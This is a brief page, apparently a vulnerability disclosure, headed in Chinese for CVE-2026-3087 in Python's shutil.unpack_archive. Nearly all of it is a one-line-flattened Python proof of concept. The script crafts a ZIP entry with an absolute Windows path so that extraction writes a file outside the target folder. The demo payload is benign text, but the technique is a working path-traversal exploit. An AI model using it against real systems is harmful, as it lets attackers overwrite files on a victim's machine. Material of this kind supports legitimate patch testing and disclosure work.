CVE-2026-3087 Python shutil.unpack_archive路径遍历漏洞

import zipfile import shutil import os # Create a malicious ZIP file containing a file with an absolute path malicious_zip = "exploit.zip" evil_file_content = b"This file was written outside the extraction directory." # The ZipInfo filename uses an absolute Windows path (C:\evil.txt) # This bypasses the relative path check in vulnerable versions zip_info = zipfile.ZipInfo(filename="C:\\evil.txt") with zipfile.ZipFile(malicious_zip, mode="w") as zf: zf.writestr(zip_info, evil_file_content) print(f"Created malicious zip: {malicious_zip}") # Simulate the victim extracting the file extract_to = "./safe_folder" os.makedirs(extract_to, exist_ok=True) print(f"Extracting to: {extract_to}") # In vulnerable versions, this will write to C:\evil.txt instead of ./safe_folder/C:\evil.txt shutil.unpack_archive(malicious_zip, extract_to) print("Extraction complete. Check C:\\evil.txt.")